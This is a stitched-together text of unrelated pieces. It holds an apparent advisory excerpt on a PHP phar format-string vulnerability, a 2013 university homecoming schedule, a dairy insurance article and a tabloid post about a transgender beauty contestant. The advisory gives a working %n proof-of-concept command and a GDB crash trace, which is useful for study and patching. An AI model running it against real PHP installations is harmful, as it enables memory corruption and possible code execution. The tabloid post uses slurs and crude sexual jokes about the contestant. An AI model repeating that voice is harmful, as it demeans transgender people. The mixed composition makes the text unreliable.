Warning: fopen(phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x): failed to open stream: phar error: invalid path "*00000000-00b4a5d8-00000006-00000000-5fbff278-00000000-5fbff258-00900840-00b49310" contains star in Command line code on line 1
In insecure PHP installations (those without the Suhosin Patch applied) this vulnerability can also result in memory corruption and code execution.
And here is the GDB session demonstrating the corruption.
Starting program: /usr/bin/php -r "fopen('phar:///usr/bin/phar.phar/*%n-%n-%n-%n-%n-%n-%n-%n','r');"
Reading symbols for shared libraries ... done
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000000
0x00000001002c8181 in vspprintf ()
(gdb) x/2i $rip
0x1002c8181 <vspprintf+4213>: mov %r15d,(%rax)
0x1002c8184 <vspprintf+4216>: mov %r15,%rbx
(gdb) i r $rax
rax 0x0 0
This vulnerability can be fixed by just calling
php_stream_wrapper_log_error() with
"%s" and
error as parameter.


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The Barry University community is invited to take part in the following Homecoming events on Monday, Feb. 18, 2013.
Homecoming Kick-Off | 11 a.m. – 2 p.m. | Landon Courtyard
Let's start Barry University's Homecoming off right! Join us in the Landon Courtyard for student performances, DJs, additional entertainment, food, and fun to learn more about Homecoming and what to expect for the upcoming week. If you would like to sign-up to perform, or for more information regarding the Kick-Off, please contact firstname.lastname@example.com or call 305-899-3961.
Window Decorating
Window decorating encourages student groups, clubs, and organizations to come together and promote their group by decorating a window in the theme of masquerade. There will be prizes for the best decorated windows. The windows that are available to decorate are the ones in Roussell Dining hall and the Landon Atrium, and are first-come, first-serve. Window markers and paint will be provided. If you would like to sign-up, or for more information regarding window decorating, please contact firstname.lastname@example.com or call 305-899-3961.
Office Decorating
Faculty, staff and departments are welcome to get in on the homecoming action by decorating offices within the masquerade theme. Offices should be decorated no later than 9am on Monday for judging. There will be prizes for the best decorated office. Departments will supply the decorating materials. If you would like to sign-up, or for more information regarding office decorating, please contact firstname.lastname@example.com or call 305-899-3961.
Pie A Professor: ASB Fundraiser
Pie your professor in the face for a good cause! Who is in?
Come out and help support the Alternative Spring Break team as they host the "Pie a Professor" fundraiser where donations will go toward their upcoming spring break services trips. Support this amazing team, as well as your professor, by donating money toward the professor you would like to see get a sweet treat to the face. The professor who raises the most money will be pied, in front of everyone, at the Kickoff event.
Un Masque Fashion Show | 8 p.m. | Landon Courtyard Parking Lot
Un Masque is more than a fashion show, it's a transformative experience! The show will unveil a harmonious blend of fashion, art, music, and dance! Don't miss six of the hottest collections that include designs by BID, Faye's Closet, Men's Wearhouse, Splash Boutique, Revenge Vintage, Cupcake Mafia, Chubbies Shorts, Betty's Bridal & Tuxedo and Swim 'n Sport. There will also be Graphic T's available that were created by Barry University graphic design students.
There will be special performances by the official Miami Heat Violinist, Sons of Mystro, and Fire Dancers. Also, Barry University's own OI Models, BLISS, and AIM, along with other performances, are sure to captivate the audience. Make sure you come to Un Masque in your best Miami nightlife and glam attire! Special prizes and giveaways will be given to the selected trend setters in the audience.
**Scene one will begin promptly at 8 p.m.
Visit the Homecoming website for more information on how you can get involved and to see a full list of events.


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text: Farm Bill Will Offer Cheap Dairy Margin Insurance June 13, 2014 04:37 AM Tweet TAGS: Marketing, Overseas December 18, 2014 By Jim Dickrell Dairy Herd Management Dairy Editor Email While dairy farmers await the final rules of the dairy margin insurance to be offered through the 2014 farm bill, one thing is clear: It will be relatively cheap, especially for smaller farms. "The historical average margin (milk price minus feed costs) is $8.26/cwt," says John Newton, a University of Illinois dairy economist. At the $8 coverage level, farms with less than 4 million lb. of annual milk production will be able to get 90% coverage of that historical average for less than 50¢/cwt. And they can get 80% coverage for less than a dime. The program offers two sets of premiums. The first, lower set of premiums is for herds with four million lb. or less annual milk production. To encourage participation, these premiums are further discounted 25% the first two years of the program. The second set of premiums is for production above 4 million lb. Unlike the Milk Income Loss Contract (MILC) program, farmers will pay premiums and receive indemnities on the amount of milk in their historic farm base (the highest level of milk produced in 2011, 2012 or 2013). MILC payments were made on actual milk marketings. But there are still a lot of details to be worked out, and final rules might not be released until late summer. For example, USDA will have to decide how far in advance farmers can sign up. Some want the sign-up deadline as close as possible to the start of the marketing year. That would allow farmers to better know market conditions and make more informed insurance choices. Others want the gap to be longer so that farmers won't be able to game the system. It's also unclear whether farmers will be allowed to choose each year between the margin protection program and Livestock Gross Margin-Dairy insurance program. Newton has created a Margin Protection Program dashboard calculator that allows dairy farmers to see how premiums and indemnities change under different coverage levels. Farmers can select various coverage levels, coverage percent and production levels. Access the dashboard here. Back to news


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Miss Universe Canada Contestant Banned For Manly Reason
The pageant's organizers admit Jenna Talackova is a "real girl," but won't let her in their beauty pageant because the Vancouver native was born a dude.
The rules state that each contestant must be a "naturally born female." Talackova claimed she was born a female on her registration form. She later confessed when the pageant's director suspected otherwise and asked her about it. He immediately pulled shim from the contest.
The director went on to say, "She feels like a real girl and she is a real girl. She didn't expect people to question it." Uh, sounds like our man has carnal knowledge of the man-turned-woman? He went on to say:
"She was excited about the competition. Just because she can't compete doesn't mean we stopped loving her."
Yeah, he definitely banged shim.
The 23 year old transgendered contestant knew she was a female at 4 and began hormone therapy at 14, and surgically changed her gender at 19. She regards herself as, "a woman with a history."
[Via The Toronto Star]